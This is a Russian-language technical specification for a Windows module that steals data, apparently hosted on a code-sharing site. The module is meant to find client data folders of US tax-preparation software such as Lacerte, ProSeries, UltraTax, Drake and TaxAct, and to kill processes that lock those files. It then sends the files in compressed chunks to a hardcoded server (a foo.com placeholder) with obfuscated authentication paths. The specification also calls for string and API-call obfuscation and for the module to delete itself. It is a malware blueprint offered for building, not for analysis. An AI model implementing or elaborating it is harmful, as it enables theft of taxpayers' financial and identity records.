You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
204 lines
9.1 KiB
204 lines
9.1 KiB
ПРОСТОЙ МОДУЛЬ ДЛЯ ВЫКАЧИВАНИЯ ФАЙЛОВ С КОМПЬЮТЕРА
|
|
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
|
|
|
|
Назначение программы - поиск и выкачивание данных с компьютера
|
|
|
|
ОПИСАНИЕ И ОФОРМЛЕНИЕ
|
|
|
|
Программа должна быть оформлена как .exe-файл, не принимающий параметров с командной строки.
|
|
|
|
Программа собирает файлы программ (названия как указаны в реестре Windows):
|
|
- 2018 Lacerte Tax
|
|
- ProSeries 2018
|
|
- UltraTax CS 2018
|
|
- TaxWise 2018 on C Drive
|
|
- ATX 2018
|
|
|
|
Программа ищет следующие файлы и папки по точному соответствию пути:
|
|
- DRAKE18/DT
|
|
- UT18DATA
|
|
- 18tax/IData
|
|
(уточнение - все папки, которые оканчиваются на Data)
|
|
- 18Data
|
|
- UTS18/database + UTS18/Users + UTS18/password.18
|
|
- TaxAct 2018 Professional Edition/Client Data
|
|
Здесь важно совпадение иерархии - т.е. нужна не просто папка DT, а папка DT внутри папки DRAKE18.
|
|
Поиск регистронезависимый.
|
|
Число 18 в названиях папок - это номер года (2018) - его следует варьировать от 16 до 18.
|
|
|
|
Стратегия поиска следующая:
|
|
1. Ищем на рабочем столе и в рабочих папках юзера (Documents, Downloads) ярлыки на следующие программы:
|
|
- DRAKE18.EXE
|
|
- DSTART.EXE
|
|
- utw18.exe
|
|
- w18tax.exe
|
|
- protax18.exe
|
|
- TWW17.exe
|
|
- TaxAct18.exe
|
|
- Sfs.ServerHost.exe
|
|
- ATX.exe
|
|
(17, 18 - номера годов, варьируем года от 16 до 18).
|
|
Если ярлыков нет, скорее всего нужные данные на компьютере отсутствуют, т.к. не установлены соответствующие программы.
|
|
Завершаем работу.
|
|
|
|
2. Начиная с диска C:, ищем на диске в папках первого уровня начало нужных нам иерархий,
|
|
начиная со следующих папок:
|
|
C:\ProWin18\18data
|
|
C:\ProNet18\18data
|
|
C:\Lacerte\18tax\******Data
|
|
C:\WinCSI\UT18DATA
|
|
C:\DRAKE18\DT
|
|
C:\ProgramData\Wolters Kluwer\ATX 2018 Server
|
|
C:\UTS18
|
|
C:\2018 Lacerte Tax
|
|
C:\ProSeries 2018
|
|
C:\UltraTax CS 2018
|
|
C:\TaxWise 2017
|
|
|
|
Далее, обходим все папки первого уровня на текущем диске.
|
|
Важно: мы не останавливаем поиск после нахождения первого результата.
|
|
|
|
3. Ищем на каждом диске, включая сетевые.
|
|
4. Полный рекурсивный поиск НЕ делаем! Поиск ограничен вторым уровнем каталогов - если на втором уровне нету признаков нужной иерархии,
|
|
пропускаем папку.
|
|
5. Если при попытке открыть файл на чтение получаем ошибку File is busy или аналогичную (свидетельствующую о блокировке
|
|
файла другим процессом), ищем в памяти процесс из пункта 1 и убиваем его.
|
|
Если ошибка не устраняется, запоминаем путь к папке и продолжаем поиск.
|
|
После завершения сканирования всех дисков, циклически обрабатываем все не-переданные папки,
|
|
засыпая на таймаут в 10 минут после каждой неудачной попытки - и так до бесконечности.
|
|
6. Файлы отправляем по протоколу отправки файлов.
|
|
7. Читаем переменную окружения PROMPT.
|
|
В этой переменной будет находиться не обычное для DOS/Windows приглашение командной строки,
|
|
а данные идентификации программы.
|
|
|
|
Парсим строку по разделителю , (запятая) на три части:
|
|
- Client ID
|
|
- Group ID
|
|
- IP address
|
|
Если строка не парсится (полей больше или меньше), или адрес не похож на адрес, принимаем значения этих полей за:
|
|
Client ID: %MACHINE%-%USER%_W%winver%.%hex32% (генерируем по схеме, обозначенной ниже)
|
|
Group ID: nop000
|
|
IP address: 0.0.0.0
|
|
|
|
Id клиента - это строка, состоящая из двух компонентов разделённых точкой.
|
|
Первая часть имеет формат %MACHINE%-%USER%_XYYYYYYY, где
|
|
MACHINE - имя компьютера
|
|
USER - имя юзера
|
|
X - символ обозначающий тип системы на которой работает клиент
|
|
(W - windows, L - linux, A - андроид, M - Mac OS),
|
|
YYYYYYY - 3-7 цифр содержащих major-version, minor-version и build операционной системы если таковые имеются у систем
|
|
(например, длЯ 6.1 build 7600 это будет 617600).
|
|
Вторая часть содержит 32 случайных символов 0-9, A-F.
|
|
Пример id клиента - HOSTNAME-USER_W617600.11223344556677889900AABBCCDDEEFF.
|
|
Параметр не чувствителен к регистру.
|
|
8. При передаче данных по сети (протокол HTTP), все HTTP-коды, не начинающиеся с 200, являются ошибкой.
|
|
При проблеме передачи (код не-200 или отсутствие ответа) делаем десятикратный повтор попыток с таймаутом в час и умираем.
|
|
9. Адрес сервера зашивается в программе.
|
|
Программа должна уметь работать как по HTTP, так и по HTTPS - для этого можно использовать функции WinInet/WinHTTP.
|
|
10. Программа должна удалить себя с диска после завершения.
|
|
|
|
|
|
ОФОРМЛЕНИЕ МОДУЛЯ
|
|
1. Если выбран компилятор Microsoft, то должен иметься проект Microsoft Visual Studio версии не ниже 2015.
|
|
2. Проект Visual Studio должен быть настроен следующим образом:
|
|
* Для ВСЕХ профилей сборки:
|
|
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
|
|
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
|
|
- Многопроцессорная компиляция: да
|
|
* Профиль Release:
|
|
- Формат отладочной информации (С/С++ создание кода): нет
|
|
- Создавать отладочную информацию (компоновщик/отладка): нет
|
|
3. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
|
|
4. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
|
|
5. Модуль должен иметь две версии - x32- и x64-разрядную.
|
|
6. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
|
|
7. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в modulename.log (путь к логу настраивается в макросе).
|
|
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
|
|
8. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
|
|
9. Модуль должен работать на всех современных версиях Windows.
|
|
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
|
|
10. Дополнительно к компоновке должен добавляться файл notelemetry.obj (https://stackoverflow.com/questions/37761768/how-to-prevent-visual-studio-2015-update-2-to-add-telemetry-main-invoke-trigger)
|
|
|
|
|
|
ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ
|
|
|
|
1) на сервер отправляется основная информация о компьютере через HTTP POST в контейнере multipart/form-data (аналогично обычной отправке html-формы).
|
|
POST содержит следующие поля:
|
|
timestamp - локальное UNIX-время
|
|
ip - поле IP address
|
|
ip1 - адрес первого сетевого интерфейса (в данной реализации поля с локальными адресами интерфейсов не используются; зарезервировано)
|
|
ip2 - адрес второго сетевого интерфейса
|
|
...
|
|
ipN - адрес N-го сетевого интерфейса
|
|
cid - поле Client ID
|
|
group - поле Group ID
|
|
hostname - имя хоста, полученное через GetComputerName()
|
|
source - строка `tax'
|
|
|
|
Отправка происходит на url вида:
|
|
http://foo.com/<junk>/<auth>/<junk>
|
|
junk - произвольные символы, допустимые в URI, кроме слеша /
|
|
auth - авторизующая секция. Предполагается, что тот кто отправляет запрос,
|
|
должен знать правила формирования этой секции.
|
|
Это - рандом любой длины.
|
|
В ней обязательны:
|
|
- буква Z в любой позиции
|
|
- сумма цифр (не чисел!) с 6 по 15-ю позицию должна быть 31.
|
|
Символы между ними - рандом. В частности там может находиться и Z.
|
|
Пример секции - abcde7ol7k9hi8mZ
|
|
|
|
2) далее отправляется каждый файл по частям, запросом HTTP POST, в контейнере multipart/form-data.
|
|
Файл передается в поле file.
|
|
Имя файла берется из тега Content-Disposition; имя временного файла из URI игнорируется.
|
|
При этом:
|
|
- отправка файла начинается с конца. К примеру, если файл длиной 100М, мы отправляем последние 10М файла.
|
|
- после отправки куска файла и получения подтверждения, программа запоминает состояние, и отправляет следующий кусок.
|
|
- перед отправкой, отправляемый кусок файла читается в память и сжимается алгоритмом gzip.
|
|
- отправка производится на URL вида
|
|
http://foo.com/<junk>/<auth>/<cid>/<filename>/<start>/<end>/<eof>
|
|
где
|
|
junk - произвольные символы, допустимые в URI, кроме слеша /
|
|
auth - авторизующая секция. Это - рандом любой длины, в котором обязательны
|
|
- буква S в любой позиции
|
|
- сумма цифр (не чисел!) с 8 по 15-ю позицию должна быть 25.
|
|
cid - поле Client ID
|
|
filename - имя файла в кодировке URL Encoded
|
|
start - начальное смещение передаваемого куска относительно начала файла; здесь допустимы и буквы, и цифры.
|
|
Но значащими являются только цифры, в порядке появления в строке.
|
|
Например, 0A -- это число 0 (цифра 0 значащая, буква A игнорируется).
|
|
end - конечное смещение передаваемого куска относительно начала файла; правила те же, что и для start.
|
|
Например, 3A5A2A3A9A5A9A - это 3523959.
|
|
eof - признак конца файла. Если признак есть, это последний кусок файла; и наоборот (секция необязательная)
|
|
Это рандом любой длины, в котором обязательны:
|
|
- первая цифра чётная или 0
|
|
- последняя буква A или F
|
|
|
|
При обработке ошибок, код HTTP-ответа 200 не говорит об успехе операции,
|
|
но код не-200 говорит о неуспехе операции (например, 50* или 40* от прокси).
|
|
Точный код операции содержится внутри XML в теле HTTP-ответа, внутри тега <response>.
|
|
При получении кода ответа вида 4041, добавочный символ 1 - это внутренний код ошибки сервера (включен только во время отладки).
|
|
|
|
Например, следующий ответ свидетельствует об ошибке с кодом 9:
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: nginx/1.10.3 (Ubuntu)
|
|
Date: Mon, 07 Oct 2019 13:08:44 GMT
|
|
Content-Type: application/xml; charset=UTF-8
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Vary: Accept
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<response>4049</response>
|
|
|
|
Следующий ответ - ошибки нету, все ок
|
|
HTTP/1.1 200 OK
|
|
Server: nginx/1.10.3 (Ubuntu)
|
|
Date: Mon, 07 Oct 2019 13:08:44 GMT
|
|
Content-Type: application/xml; charset=UTF-8
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Vary: Accept
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<response>200</response>
|